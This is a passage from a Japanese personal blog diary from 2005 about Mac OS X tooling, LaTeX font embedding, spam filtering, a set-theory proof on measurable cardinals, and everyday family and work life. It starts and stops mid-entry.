あたりでしょうか。いずれにしても今まではログインして最初に起動するのが X11 サーバーだったのですが、今後は「必要なとき起動」という運用となります。いやはやそれにしても数ヶ月前まですべての作業を X11/FreeBSD に依存していたのに変わり身の速いこと！。節操ないと言われても仕方がないかも知れません(^^。

2005年3月11日(金)

iWork'05 注文
iWork というのは Apple のソフトウエアーで、内容としては、Pages というワープロと keynote2 というプレゼンテーションソフトをバンドルしたもので、ネットのうわさでは、機能はマイクロソフトの同様の製品よりやや少ないのですが、使い勝手は遥かに良いらしいのです。
個人的には、こういうソフトは頻繁には使わないと思うのですが、非定型な文書を LaTeXで作成するとき等、フォーマットファイルを作成するのが結構面倒な場合もあるので、そんなときに役に立つ場合もあるかも知れません。さらに人様から送られてきた Word のファイルをレイアウトを保存したまま開けるのも利点ですし、フォントの関係でオリジナルより見栄えが良くなるかもしれません。
お値段は税込みで 8.190円で、この手のソフトとしては安い方の部類に入ると思います。ただし、ネットからダウンロードして、カード決済を行い、メールで送られてくるライセンスキーを入力すると使用可能になる、という選択肢は存在せず、箱入りの製品を購入するしかなく、おうちに届くのは月曜日か火曜日位になりそうです。

2005年3月10日(木)

つくば出張
今日と明日は 4人でつくば市に出張なのです。明日本番があるので、本日は準備ということなのですが、万が一のことがあると困るので、開発環境が入った X24 と、それからもちろん PowerBook も同伴で、荷物がとっても重かったりします(^^。
で、現地でさっそく X24 の出番があったりして(おい^^)、久々に活躍してくれたのですが、しばらく英語キーボードを使っていなかったので、タイピングに慣れるのに少々時間がかかりました。
明日は本番なので、X24 の出番があったりすると困るのですが、逆になんにもすることがないはずなのに(あると困る！)、現地の部屋は PHS の電波が非常に弱く、こっそりネット遊ぶことも出来そうになく、とってもたいくつそうなのが難点です(^^。

2005年3月9日(水)

USB メモリーお買い上げ
私、ファイルのやり取りはほとんどネットワーク経由で行うので、外部記憶装置の必要性をあんまり感じていなかったのですが、最近 USB メモリーを使う人が回りに多く、特に大きなファイルを扱う時など、それが案外便利そうなのです。
さらに以前 FreeBSD/X24 を使用していた時代には相性が悪かったりする場合も多く、いまいち信頼性に問題があったのですが、今は Mac を使用しているので、メーカーが保証している商品を購入すれば問題ありません。
というわけで近くのお店で一つ買ってきました。
購入したのは 256MバイトのBUFFALOClip Drive RUF-CL-P/U2 で、お値段は 3,500円。リンクの写真のごとく透明なピンク色です(^^。本当は 512Mバイトのが欲しかったのですがこの容量ですと 7,000円以上することが分かり、「それなら iPod shuffle 買った方がいいじゃん！」と思ったりして、無難なところで 256Mのを選択したのです。
まあ購入したからすぐにどうということはないのですが、さっそくネットワークが繋がってはいるのですが、テスト環境がネットワークから孤立している社内の検査工場みたいなところに、即席パッチをあてたソフトを持って行ったしたのです。
もしかすると、今後奥さまとファイルのやり取りに使っている、おうちの中でのメールの流量が少し減るかもしれません(^^。
＃おうちに帰って奥さまに見せたら、一つ欲しいとのこと。
＃そんなにたくさんのファイルを扱うことはないので、128Mので良いそうです。

2005年3月8日(火)

一回休み

2005年3月7日(月)

Emacs 三種
何度も書いていますように、私は一日の大半を Emacs とともに暮らすのですが、 Mac OS X で使用可能なメジャーな Emacs は次の 3種類が存在するのです。
- OS X 標準添付の /usr/bin/emacs
- Carbon インターフェースで動作する「正統なる」Mac アプリケーションである Carbon Emacs
- X 上で動作する Emacs(以下 Emacs/X11 と記述)
で、実を言いますと今までは Emacs/X11 を使用してきたのですが、もちろんこの Emacs は X11 のフォントを使用するのでして、昔はなんとも思わなかったのに、Mac のフォントに慣れてしまった今では、いまいち見栄えが良くないと感じるのです。ただし日本語入力に関しては kinput2 がかなり良く「ことえり」に対応していまして、こちらは全く問題がありません。
Carbon Emacs は何度か試してみたことがあるのですが、初期設定ファイルに機能を盛り込み過ぎという感じで、かなり起動が重いのです。さらに、ネットのうわさによりますと「ことえり」との相性があんまりよろしくないようで (Carbon なのにどうして？)、特に私の環境では「ことえり」での入力が全然出来なかったりします。おそらく設定の問題だとは思うのですが、とにかくいろんな方法を試してもうまくゆかないのです。もちろん Carbon Emacs のパッケージを作成し配布されている方に敬意を払うのは当然なのですが、パッケージのポリシー自体は私自身の好みとは相反するものがあるようです。
というわけで、最近使い始めたのが /usr/bin/emacs(^^。この emacs の良いところは、よけいなパッケージがバンドルされていないので起動が非常に軽く、私が使用するデフォルト以外のパッケージは Mew だけなので、メンテナンスもそれほど面倒ではありません。
ところで、この Emacs は端末上で動作するので、当然端末のフォントを継承します。なので Mac OS X 付属の Terminal.app の自分用として最適なフォントを色々切り替えて実験したのですが、最終的に落ち着いたのが Courier Regular 14ポイントのフォントでして、ぎりぎりまで行間を詰める設定にしても y とか g の下の方が切れにくいので、一画面に多くの行数を確保することが可能となります(これはエディターを使う時は案外大切なのです。そのために、行間のゆとりが無い等、ある程度見栄えを犠牲にする場合もあります)。
最近は Emacs といえば一見見栄えが良い GUI 版にばかり目がいってましたが、 Mac で使用する場合、フォントのことや利便性を考えると、端末版もあなどれないと再認識したのでした。どうせメニューとか使わないしね(^^。

2005年3月6日(日)

大体復活
今日も一日ごろごろていたところ、まだ若干体に違和感があるものの、大分良くなってきたような。昨日の夜の突然の発熱にこりて、数時間おきに風邪薬を飲んだのが良かったのかも知れません。おそらくまだ完全には治っていないのでしょうが、風邪薬を定期的に飲めば、今後急な発熱で寝込むことはなさそうです。なので明日からは先週遅れた分の仕事を少しでも取り戻さなくては。あーやだやだ(^^。

2005年3月5日(土)

再発
このねたばかりですまぬ。なんせ一日の大半寝てるもので...。今日の昼間は熱が出なくて、ようやく治ってきたか、やれやれ長かったと思っていたら、 22:00 頃からまた 39度の発熱。いやはやいつになったら完治するのやら。
＃この日記を書いてる人は、病気になると「体温測定マニア」に変身するのは
＃絶対に内緒なのでした(^^。

2005年3月4日(金)

『アタゴオルは猫の森』のチケット来たる
本日届きました。
ところで、今朝は 37度5分位の熱だったので、雪が降ってって一瞬くじけそうになったのですがなんとか出社。仕事しているうちに熱が上がってきて結構きつかったのですが、18時まで働いておうちに帰りました。帰って熱を計ったら 38度位だったので、徐々に回復傾向にはあるようです。明日とあさってごろごろしていれば少なくとも発熱はおさまると思います。

2005年3月3日(木)

ちっとも良くならないインフルエンザ
今日も朝から 39度熱があってお休みしました。なかなか治らんものですなあ(^^;。

2005年3月2日(水)

39度5分
朝から 39度の熱があって会社をお休み(最近土日休んでいないから代休は山のように...)。意識もうろうで何回か熱を計ったら、最高が 39度5分(^^。うーむ、なかなか 40度の壁は破れないもので。夜になって若干熱が下がってきたので、明日はなんとか会社に行けそうです。

2005年3月1日(火)

38度5分
朝から喉が痛くてなんか熱っぽい。夜おうちに帰って熱を計ったら 38度5分。こりゃ明日は無理ですな。

2005年2月28日(月)

リチウム電池をもらう
本日会社でハードウエアー製造部門をうろついていたら、FUJIFILM の単三リチウム電池がたくさん置いてあったのです。そこで半分冗談で、「いいですね～。これ無線マウスに最適なんですよ。下さい(笑)」と言ったところ、「それちょっと古くで放電してるかもしれないけど、評価用でそれも済んだので持ってっていいですよ」ということで、なんと 1,280円のパックを三つももらったのです(^^。

もともとしらたまちゃん(無線マウス)に付いてきたリチウム電池は製造元が不明なものなのですが 20日位もちました。オキシライド電池は 18日。今日もらってきたのは純正の日本製リチウム電池なので、こんどオキシライド電池が切れたときに入れ替えて、どれだけもつかがとっても興味深いのです。

2005年2月27日(日)

一回休み

2005年2月26日(土)

会社より
というわけで、今日もちょっと辛いのですが、会社で働いています(^^。明日も仕事です。こんな事情なので、もともと忙しくって、チケットとるゆとりもなかったけど、月曜日のイベントはとても無理なのです。残念ですなあ。
＃仕方ないので巨大ヘッドフォンで浩子さんの曲聴きまくっています(^^。

2005年2月25日(金)

またまた風邪でダウン
この忙しいのに困ったものです。でも 38度も熱あるとプログラム書けないし...。一日休んだら少し良くなってきたので、明日とあさっては仕事です。
＃土日出勤なので大きいヘッドフォン持ってこうかな(^^。

2005年2月24日(木)

一回休み

2005年2月23日(水)

ヘッドフォン購入

昨日新しいアルバムがフライングで届きまして、さっそく Mac にコピーして聴こうととしたのですが、なんとヘッドフォンが行方不明になっていたのです。仕方がないので二女のをちょっと貸してもらって聴いたのですがいまいち音が良くありません。

というわけでせっかくの新しい CD はなるべく良い音で聴きたく、昨日は途中で聴くのを断念して、昼休みに昨日中古 PC を買ったお店に物色しに行ったのですが、値切るのが上手だったのと、オーディオ関係にとっても詳しいと言う M さんを無理矢理さそったのです。

お店にはちっちゃいのから大きいのまで色々なヘッドフォンが並んでいたのですが、M さんのおすすめは下の写真の ATH-AD500。

巨大です(笑)。

私いくらなんでも大きすぎますよ～。

M さんまあまあ他のと聴き比べて下さいよ。

私あらら全然違いますね(もう欲しくてたまらない)。

M さんいいでしょ(^^。

私でも 9,800円というのはちょっと～。

M さんネットでの最安値が 8.200円というのを調べてあるので...。店員さーん。

という感じのやり取りがありまして、「秋葉原では 8,000円だった」とかいいかげんなこと(笑)を言って、なんと 7,800円(税込み)まで値切ってくれたのです。2,000円も得しました。いやはや電気関係の量販店でこんなに値切ることが出来るとは全然知りませんでした(^^。
不思議だったのは M さんは東北出身で大学も私とおんなじ。東北の人間はあんまり値切るということはしないのにどうしてそんなに上手なの、と素朴な疑問を投げかけたところ、学会とかで関西方面に行ったときに学んだとのこと(笑)。納得です！！。

肝心の音質ですが、とても気に入っています。もともと上の写真のように開放型のは高音の伸びが良いそうですが、実際今までのでは聞こえなかった繊細な音も聞こえますし、高音の抜けがとても良く、圧縮音楽ヘッドフォン環境としては理想に近いと思います。いずれにしても、こういう嗜好品的なのを買う場合、専門家の助言は極めて貴重なことを再認識したのです。どうもありがとうございます。

2005年2月22日(火)

月光シアター
本日届いていました。現在 Mac へコピー中(^^。
T21お買い上げ～
いやいやもちろん自分のではありません。会社で Linux ノートを必要とする仕事が発生したので緊急購入です。用途としてはそんなに能力を必要とするものではなく、また年中持ち歩くものでもないので、大急ぎで中古品からの物色することにしまして、さっそく近くのお店に行ったところ、 T21 のリサイクル中古が二つ置いてあって、価格がそれぞれ 69,800円と 79,800円だったのです。片方が一万円安いのは下の写真のごとく、ふたの部分になんか接着剤風のものがこびりついているからで、まあ自分で主に使う訳でもなく、さらに会社のものなので、こんなものは全く気になりません(^^。
さらに一緒に買いに行った M さんがなんと 800円も値切ってくれて(笑)、結局 69,000円(税込み)での購入だったのでした。

ところで T21 というのは初めてさわったのですが、キーボードの感触が非常に良いのと、さらにあかポッチン(てゆーかトラックポイント)の感触の良さに驚きました。明らかに R30 はもちろん X24 よりも優れています。IBM も昔は良い製品を作っていたのですね(^^。

2005年2月21日(月)

一回休み

2005年2月20日(日)

可測基数が到達不可能であること
[集合論雑記目次]
可測基数 $\kappa$ は到達不可能です。到達不可能基数の定義は、
(a) 正則な極限基数である。
(b) 強極限である。すなわち $\forall{\lambda}(\lambda<\kappa~\rightarrow~2^{\lambda}<\kappa)$ を満たす。
ということでした。まず簡単な注意ですが、カントールの定理により、基数が強極限であれば極限基数となることは明白なので、(b) の証明が出来れば (a) の部分は正則性のみを証明すれば十分です。
ここでフィルターの概念の双対であるイデアルの定義を行います。
[イデアルの定義] 集合 $X$ に対し $\mathcal{I}\subset{\mathcal{P}(X)}$ が次の条件を満たすときイデアルと言います。
$\begin{array}{cc}~\mathrm{(a)}~&~X\not\in\mathcal{I}\cr~\mathrm{(b)}~&~Y\in\mathcal{I}\wedge{Z\subset{Y}}\,\rightarrow\,~{Z\in\mathcal{I}}\cr~\mathrm{(c)}~&~J\subset\mathcal{I}\wedge{(J~\text{\,is~finite})}\,~\rightarrow~\,\bigcup{J}\in\mathcal{I}~\end{array}$
$\mathcal{F}$ が $X$ 上のフィルターの時 $\mathcal{I}~=~\{X-Y~|~Y\in\mathcal{F}\}$ は $X$ 上のイデアルとなります。超フィルターの場合同様に、あるイデアルを含む極大なイデアルの存在も簡単に証明でき、このようなイデアルを素イデアルと称します。また主イデアル(principal ideal)、 $\kappa$ -完備イデアル等の概念もフィルターの場合と同様に定義します。
さて $\kappa$ を可測基数として $\mathcal{I}$ をその上の nonprincipal $\kappa$ -完備素イデアルとします。このとき次の事実が成立します。
$\begin{array}{cc}~\mathrm{(i)}~~&~\forall{x\in{X}}(\{x\}\in\mathcal{I})\cr~\mathrm{(ii)}~&~\forall{Y\subset{X}}(|Y|<\kappa~\rightarrow~Y\in\mathcal{I})~\end{array}$
(i) は $\mathcal{I}$ が nonprincipal かつ素であることから得られます。(ii) は (i) と $\mathcal{I}$ が $\kappa$ -完備であることからの帰結です。従ってもし $\kappa$ が特異基数とすると $\kappa\in\mathcal{I}$ となり矛盾です。
次に $\kappa$ が強極限であることの証明ですが、もし $\kappa$ が強極限でないと仮定すると $\lambda<\kappa,\,\kappa\leq{2^{\lambda}}$ なる $\lambda$ が存在します。すなわち $Y\subset{2^{\lambda}},\,|Y|~=~\kappa$ なる集合が存在し $Y$ 上に $\kappa$ -完備 nonprincipal 超フィルター $\mathcal{F}$ が存在することになります。 $Y$ の要素は $\lambda$ から 2 への関数と考えられるので、各 $\alpha\in{\lambda}$ に対して
$\begin{array}{c}~A_\alpha~=~\{f\in{Y}~\,|\,~f(\alpha)~=~0\}\cr~B_\alpha~=~\{f\in{Y}~\,|\,~f(\alpha)~=~1\}~\end{array}$
とおきます。ところが $\mathcal{F}$ が超フィルターということから、 $A_\alpha,\,B_\alpha$ のいずれかは $\mathcal{F}$ の要素となります。ここで $\mathcal{F}$ の要素となる方を $C_{\alpha}$ と命名するとこんどは $\mathcal{F}$ が $\kappa$ -完備であることから
$D~=~\bigcap_{\alpha\in\lambda}{C_\alpha}\in\mathcal{F}$
が成立しますが、 $D$ は確定した関数からなる一つの要素しか含まないので、 $\mathcal{F}$ が nonprincipal であることに矛盾します。
＃LaTeXでPDFヴァージョンを作ってみました。やっぱ本物はいいです(^^。

2005年2月19日(土)

プレステ２壊滅(^^
以前から調子が悪く、画面が乱れる場合が多かったプレステ２ですが、ついに壊滅したようです。今回の症状は画面ではなく、なんかモカちゃんが使っているときに固まってしまって、次に二女が使おうとしたら CD からはゲームが起動するものの DVD のゲームは起動しなくなったそうな。まあ購入してから４年経過するので、ソニーとしては長持ちした方だと思うのですが、いやはや困ったもので(^^。
今まで二女がためこんだゲームも 10個以上あるし、DVD再生機としての役割もあるので、これは新しいのを買うしかなさそうです。ところで、先ほどネットで価格を調べていて、最近の薄くなった「PlayStation 2」と「PSP(プレイステーションポータブル)」を勘違いしそうになり、モカちゃんに指摘されて間違いに気が付いたのは絶対に内緒なのです(^^。

2005年2月18日(金)

浦和に出張
今日はお客様のところで検証作業(デモに近かったかも...)を行うということで、朝熱を計ったら 7度8分でまだちょいとだるかったのですが、もちろんすっぽかす訳にはいかず、6時に家を出て8時15分に会社に到着。営業技術の人の運転する車で二時間かけて浦和に向かい到着が 11時頃でした。今回の仕事では、私の会社は下請けの下請け、つまり孫請けになるということで(こういう場合名刺は出さない)、説明はほとんど浦和の会社の方が行って下さりまして、私自身は裏で機材に端末(Mac のこと)をこっそり繋いで、もしまずいことが起きたら~~うまいことごまかす~~適切に対処する役割だったので案外ひまでした。
まあそれにしても、あんまりたいしたことは無いとはいえ、熱がある状態で人様の会社を訪問するのはけっこうしんどいもんで(^^。
結局検証作業が終了したのが 18時頃で、もちろん会社に戻る気は全くなく、浦和から大船まで 2時間ほど、ほとんど寝ながら京浜東北線に乗り続けて(笑)、自宅到着は 20時30分頃でした。移動時間が 6時間以上で、これが一番長かったかもしれません(^^。
いずれにしてもいつまでも風邪を引きずるのもやなので、明日からの土日で完治したいものです。

2005年2月17日(木)

なんとか復活
昨日の夕方くらいから熱が下がってきました。どうもインフルエンザではなかったようで(^^。まだ少々熱っぽいのですが、なんせ忙しいので今日は会社です。

2005年2月16日(水)

風邪でおやすみ
昨日の晩から 38度位熱があり今日はお休み。もしかしてインフルエンザだとやだな。

2005年2月15日(火)

レンタルサーバーの使い方
最近、私が契約しているアイネットディのディスク容量が 600Mバイトに増量されたのですが、確か一年ほど前までは 100Mバイトであったことを考えると、信じられないほどの大容量です。
そこでディスクを余らせるのももったいないのでいくつか用途を考えたのです。
- 自宅のメールサーバーをレンタルサーバーに移行する
- ホームページをレンタルサーバーに移行する
メール受信に関しては現在もアイネットディ経由で受信して、さらにそこでバックアップを取り .forward で自宅に転送しています。こちらは現行のままで特に問題ないと思います。問題は送信の方でして、こちらは自宅のメールサーバーからアイネットディのサーバー経由で転送を行っているのですが、この方法ですと運悪く「極悪アドレス」がアサインされた場合、スパム扱いされる危険があります。ただし会社から私用のメールを出す場合、平文で流すのもなんなので(笑)、ssh のトンネルを使用して自宅に転送するという現行の仕組みも捨てがたいのです(^^。
それではホームページの方はどうかといいますと、最大の問題は evariste.jp なるドメイン名を自宅に割り振って、そのドメイン名を正式な名称として公開しているので、これを evariste.que.ne.jp に変更するのが面倒ですし、いつも遊びに来てくださる方々に迷惑をかけることになるのです。さらに私のページの場合数式 CGI を大量に使用しているので、場合によっては 1回のアクセスで1000以上のプロセスが起動することもあり得ます。その場合アイネットディのサーバーに瞬間的にかなりの負荷がかかることになるので、どの程度まで大丈夫か、具体的に CGI の名称(mimetex)とそれが大量に動作する可能性があること、さらに自宅の実例 URL を伝えたのですが、下記がアイネットディからの回答です(引用文省略)。
```
下記の件につきまして、弊社サーバではサーバ過負荷による障害を
防ぐ為にメモリー使用や、プロセス数等に各種制限を設けております。

該当CGIにつきまして、実際の動作がどのようなものか弊社には
わかりかねますので、弊社サーバにて稼動させる事に関しましては
特に問題はございませんが、その後、運用監視上問題が予見、発生した場合
該当CGIの一時停止や移動等をお願いする可能性はございます。

上記ご承知の上ご利用いただければ幸いです。
```
要するにやってみないと分からないということらしいのです。そりゃそうですな(^^。実際疑似ページを作成して、自分でそれなりの負荷をかけて、クレームが発生するかを調べる方法も考えられるのですが、なんのかんので面倒なのでこちらも断念です(^^。
というわけでいまいちディスクが増えたご利益がなかったりするのですが、そういやバックアップという素晴らしい用途があったのでした(^^。重要なファイルは自宅のサーバーさまに定期的にバックアップしていますが、これは量が多いのでレンタルサーバーには入りきりません。ただし、今の運用ですとバックアップの量が多すぎて、何らかの障害が発生してリストアーするときにかなり面倒なのも事実なのです。そこで何らかの障害が発生した場合、本当に必要なファイル群、具体的に言いますと、
```
find . $ -type f $ -a $ \( -name '*.pdf' $ -o \
       $ -name '*.graffle' $ -o \
       $ -name '*.outliner' $ -o \
       $ -name '*.tex' $ -o \
       $ -name '*.[ch]' $ -o $ -name '*.sh' $ -o \
       $ -name Makefile $ -o \
       $ -name '*.cc' $ -o $ -name '*.cpp' $ -o \
       $ -name '*.CC' $ -o \
       $ -name '*.hh' $ -o $ -name '*.html' $ -o \
       $ -name '*.php' $ -o \
       $ -name '*.cgi' $ -o $ -name '*.txt' $ -o \
       $ -name '*.el' $ \)
```
で検索されたもののみを定期的にバックアップすることにしたのです。現在これらのファイルを圧縮すると 42Mバイト程度なので、まだまだ十分余裕がある状況ですが、今後特に PDF ファイルは増加する傾向にあると思われるので、当面サーバーの有効利用には困らない状況であると思います。
＃ディスクが増えたことより来年度からドメイン維持費用が安くなる方が
＃うれしかったりします(^^。

2005年2月14日(月)

チョコまみれ(^^
いやいやもちろんじまんばなしではないのです←うそつけ(^^。やはり今日みたいな日は、奥さまが女性なのと(あたりまえか)、娘が三人もいるととってもゴージャスな思いができるのです。下の写真は代表してモカちゃんからもらったの。

たくさんチョコをもらって、どれから食べようかな～、と思いつつもったいなくってなかなか食べれないのがうれしい悩みだったりします(^^。
ちゃんと動いた USB-RSAQ3
本日さっそく USB-RSAQ3 を使う機会がありまして、実は最初クロスケーブルだと思ったのがストレートケーブルで、全然繋がらずかなりあせったのですが、ケーブルを正しいものに替えたところとにもかくにも使用可能なようです。
ただしこのデヴァイスを使用したのと関係があるのか不明なのですが、使用後 USB ケーブルを抜いて一時間くらい経ってから突然画面が薄暗くなり、
リブートしてください
なるメッセージが出て、キーボードもマウスも動作しなくなったのでした。謎ですな。

2005年2月13日(日)

USB-RSAQ3
仕事柄シリアルポートを使用することが多く、X24を持ち歩いていた時代には USB-RSAQ2 を使用していたのですが、残念ながらこちらには Mac OS X のドライバーがありません。
そこで、本来 Mac を組み込み機器とシリアル経由で接続するなどと言う無粋なことはしたくないのですが、やはりいざという場合を考え、 USB-RSAQ3 を購入しまして、これが昨日到着したのです。実は「どうせ似たような名前なので、RSAQ3 のドライバーで RSAQ2 が動作するといいな～」と思って購入前にドライバーをインストールして試したのですが、こちらは残念ながらうまくゆきませんでした。
さっそく USB のポートに差し込みますと、
/dev/cu.I-O DATA USB-RSAQ3
/dev/tty.I-O DATA USB-RSAQ3
なる華々しい名前のデヴァイスファイルが出来まして(デヴァイス名にスペース入れないでよ^^)、どうやら正常に認識されたようです。肝心の端末ソフトですが、こちらは FreeBSD で良く使用する cu コマンドは入ってなく、仕方がないので FreeBSD からソースを持ってきてコンパイルしようとしたのですが、未定義のマクロがあったりしてなかなかうまくゆきません。
面倒になってきたのでネットを検索したところ、Mac 用の端末ソフトとして jerm なるものがあるそうで、さっそくダウンロードしてコンパイル・インストールしたところ、少なくとも /dev/cu.modem(内蔵のモデムポート)への at コマンドに対してはちゃんと応答がありますし、/dev/cu.I-O... のオープンも可能なので、おそらく通常の用途に対しては問題なく動作すると思われるのです。

2005年2月12日(土)

続・ヒラギノフォント埋め込み PDF
先日 LaTeX+dvipdfmx で作成した PDF ファイルにヒラギノフォントを埋め込む方法として、Preview で「PDF として印刷」すれば良いと書きましたが、いくつか欠点があるのが分かってきました。
- Preview で文字列の検索が出来ない。どういうわけか Adobe Reader 7.0 を使用すると検索可能なのですが、Reader は起動が重いし、検索自体も Preview のようなインクリメンタルサーチでないのが難点です。
- 印刷に必要な情報以外は落ちてしまうので、最近の LaTeX+dvipdfmx で可能な「しおり」つきの PDF を作成してもその情報が落ちてしまう。
自分だけで使用している場合、Windows に持って行って印刷する時以外はヒラギノ埋め込みでなくとも問題ないのですが、配布する場合に「見栄えは悪いが検索等は便利版」「見栄えは良いが検索等は不便版」の二つを用意するのは面倒ですし、おそらく見栄えの良い方の版は見てもらえないし、印刷にも使用してもらえない可能性が強いのがとっても不愉快なのです(^^。
というわけで「ヒラギノフォント埋め込み PDF」を直接作成する方法を真面目に調べたのですが、結果を言いますと簡単で、LaTeX ソースのプリアンブルに、
```
  \usepackage[deluxe]{otf}
```
なる記述を行うと良いそうなのです。ただし私の環境でこのパッケージを使用すると途中でエラーになってしまいかなり悩んだのですが、結論としては私が導入したパッケージ(EasyPackage)には設定不足があるようで、具体的には上記パッケージで必要なヒラギノフォントファイルへの実体へのシンボリックリンクがされていなかったのです。そこで下記のコマンドでシンボリックリンクを作成したところエラーは発生しなくなったのです。
```
  # cd /usr/local/share/texmf/dvipdfm/CIDFont/
  # ln -fs '/System/Library/Fonts/ヒラギノ角ゴ Pro W3.otf' ./HiraKakuPro-W3.otf
  # ln -fs '/System/Library/Fonts/ヒラギノ角ゴ Pro W6.otf' ./HiraKakuPro-W6.otf
  # ln -fs '/System/Library/Fonts/ヒラギノ角ゴ Std W8.otf' ./HiraKakuStd-W8.otf
  # ln -fs '/System/Library/Fonts/ヒラギノ丸ゴ Pro W4.otf' ./HiraMaruPro-W4.otf
  # ln -fs '/System/Library/Fonts/ヒラギノ明朝 Pro W3.otf' ./HiraMinPro-W3.otf
  # ln -fs '/System/Library/Fonts/ヒラギノ明朝 Pro W6.otf' ./HiraMinPro-W6.otf
  # updmap     # map 情報を更新する
```
上のコマンド群の実行は一見簡単そうですが、実は結構大変でして、漢字のファイル名は utf-8 でコード化されているので、まず漢字のファイル名をテキストエディットにコピペして、それを utf-8 でセーブします。その後そのファイルを Emacs で開いて ln -fs の部分とかを付け加えたシェルファイルを作成したのです(もし使用される方がおられましたら、ブラウザからコピペしないで直接ファイルをダウンロードしてください)。
上記の対処でめでたくヒラギノ埋め込み PDF1.4 形式の(Preview 印刷の時は PDF1.3 だった)ファイルが出来たのですが、もう一つだけ問題がありまして、欧文基本14書体(Times,Helvetica,Courier 各4シェープ(*)と Symbol,ZapfDingbats)が埋め込みになっていません。まあこちらの方は見栄えにほとんど影響はないのですが、念には念をということで、 /usr/local/share/texmf/web2c/updmap.cfg の下記のエントリーを false から true に変更して再び updmap を実行したのです。
```
  dvipdfmDownloadBase14 true
```
これにてすべてのフォントが埋め込まれ、さらに検索等もしやすいPDF が出来るようになりました。最後に個人的に良く使用するパッケージを列挙します。
```
  \usepackage{amsmath}           %% AmS-LaTeX パッケージ. 必須！！
  \usepackage{txfonts}           %% Times Roman を基本とする
  \usepackage[dvipdfm]{graphicx} %% dvipdfmx での画像埋め込み
  \usepackage[deluxe]{otf}       %% フォント埋め込み
  \usepackage{tabularx}          %% 拡張表組パッケージ
  %% 下線・取り消し線
  \usepackage{ulem} %% uline uuline uwave sout xout
  %% しおり
  \usepackage[dvipdfm,bookmarks=true,bookmarksnumbered=true]{hyperref}
  %% しおりのエンコードに必要
  \AtBeginDvi{\special{pdf:tounicode EUC-UCS2}}
```
ただし上の宣言でしおりは見かけ上出来るのですが、PDF1.3 での検索の場合と同様に、このままですと Adobe Reader では目次やしおりから該当位置へジャンプするのに Previewではジャンプしません(^^。次のパッチも必要です。
```
[/usr/local/share/texmf/tex/latex/hyperref/hdvipdfm.def 64行目近辺]
[削除] \@pdfm@mark{dest (#1) [@thispage /\@pdfview\space @xpos @ypos]}%
[挿入] \@pdfm@mark{dest (#1) [@thispage /\@pdfview\space @xpos @ypos null]}%
```
(*)シェープ --- Roman,Itallic,Bold等、各フォントファミリーから導出されるヴァリエーション。
[参考文献]［改訂第3版］LaTeX2e美文書作成入門。この本はヒラギノフォントで製本されています。

2005年2月11日(金)

中学受験の罠
誰でも知っているように、下図の灰色っぽい部分の面積 $S$ の値は、半径 1 の円の面積の 1/4 から正方形の面積の半分、すなわち 1/2 を引いて、それを 2倍すれば求まるのです。

ところが奥さまによると、中学受験専門の塾では、上記面積が 0.57 であることを小学生に暗記させて、面積を導く方法なり理由は教えない場合が多いそうなのです。「こんな簡単な問題を考えていたら他の問題を解く時間がなくなってしまう」というのが理由らしいのですが、中学受験の実態がここまでひどい状態であるとは知りませんでした。
幸いモカちゃんが通っている塾はそのようなことはない、といいますか、なかなか答えを教えてくれないで、分からないと一問一時間以上考えることもあるそうなので、そのような心配は全く無いのですが、せっかくの才能が無意味な暗記でつぶされてしまう場合がかなりあるのではないかと推測されるのです。
教える側が、暗記させるべき部分と、考えさせる部分の判断が出来なくなっているのが大きな問題であるような気がします。最大の原因として、教える人たちの「算数や数学が楽しい」という気持ちの不足が考えられるのです。
三連休
昨日今月前半の山場をなんとか突破(^^。まだまだやることは山のようにあり、月の後半も大変そうなのですが、とにかく疲労回復の必要があり、本日から開き直りの三連休なのです。

2005年2月10日(木)

スパムで自滅する
自宅のサーバーでは Spamassassin を使用してスパムメールをフィルターしているのですが、その場で捨てるのではなく、スパム箱(~/Mail/spam/)なるディレクトリーに保存しているのです。わざわざ保存しているのは、ごくまれにちゃんとしたメールがスパムと判断されることがあるからで、忘れなければ一日に一回位中身をチェックするのです。
で、本日もスパム箱を眺めていたら、まともな題名のものが一つあって、さらになんか見覚えがあるような...。そうなんです！
自分で出したメールが入っていました(笑)
私は普通誰かにメールするとき、自分宛に Cc: することにしているのですが、どうもそれがスパムと判断されたようです。
```
 pts rule name              description
---- ---------------------- --------------------------------------------------
 0.5 WEIRD_QUOTING          BODY: Weird repeated double-quotation marks
 2.2 MLM                    BODY: Multi Level Marketing mentioned
 0.8 HTML_COMMENT_8BITS     BODY: HTML comment has 3 consecutive 8-bit chars
 1.1 MAILTO_TO_SPAM_ADDR    URI: Includes a link to a likely spammer email
 0.1 RCVD_IN_SORBS_DUL      RBL: SORBS: sent directly from dynamic IP address
                            [210.130.117.127 listed in dnsbl.sorbs.net]
 1.6 RCVD_IN_NJABL_DUL      RBL: NJABL: dialup sender did non-local SMTP
                            [210.130.117.127 listed in combined.njabl.org]
```
ポイントの内訳を見ると、上記のようになっておりまして、上の三つは理由は良く分からないのですが、人様から頂いたメール(普通のテキストメールとバイナリー添付)をフォワードしたので、そのあたりの関係であると推測されるのです。
問題は最後の二つです。どうもおうちの IPアドレスが「極悪アドレスリスト」に載ってしまっているようで...。そう言えば、数日前に間違って ADSL モデムの電源を落としてしまったことがありまして、その時 IP アドレスが変化して「はずれもんアドレス」が割り当てられた様なのです(^^。
うーむ、これは一度無理矢理モデムをリンクダウンさせて、アドレスを変える必要がありますな。ただし、リンクダウンしたからといって必ずアドレスが変化するとは限らず、変化する確率を高くするためには、ある程度長時間切断状態にする必要があるのがちと悩ましいのです。
＃この記事をアップする直前に一度モデムの電源を切ったところ、
＃運良く(笑)アドレスが変化したようです。
＃こんどは「はずれもん」ではないように(^^。
三つ星グルメ
おいしいものを食べたお話だと良いのですが...。残念ながら違うのです(^^。
生まれて始めて C 言語で星三つを使ったのです。つまりポインターのポインターのポインターです。
とあるテキストファイルを処理するプログラムを書く必要がありまして、その内容を全部読み込むのですが、処理としては行単位のものだったのです。
行を処理するために、各行を char * で表現する配列を使用したのですが、配列のサイズ(つまり行数)は事前に分からないので、こちらはファイルを一度から読みして決定です。
```
    char **lines   /* ファイル全体を行単位に管理する */
```
でもって行数(linecount とします)が分かった段階で、
```
    lines=(char **)malloc(linecount*sizeof(char *))
```
という風にまず「配列」の実体を確保します。この段階ではもちろん各行の「内容」を確保する領域は確保されていないので、処理の実体は下のような感じです。
```
    buf[sizeof(buf)-1]='\0';   /* バッファオーバーフローを防ぐ */
    for (i=0;i!=linecount && fgets(buf,sizeof(buf)-1,fp)!=NULL;i++) {
        /* 行の内容領域を取得 */
        if ((lines[i]=(char *)malloc(strlen(buf)+1))==NULL) {
            perror("malloc");    /* 失敗 */
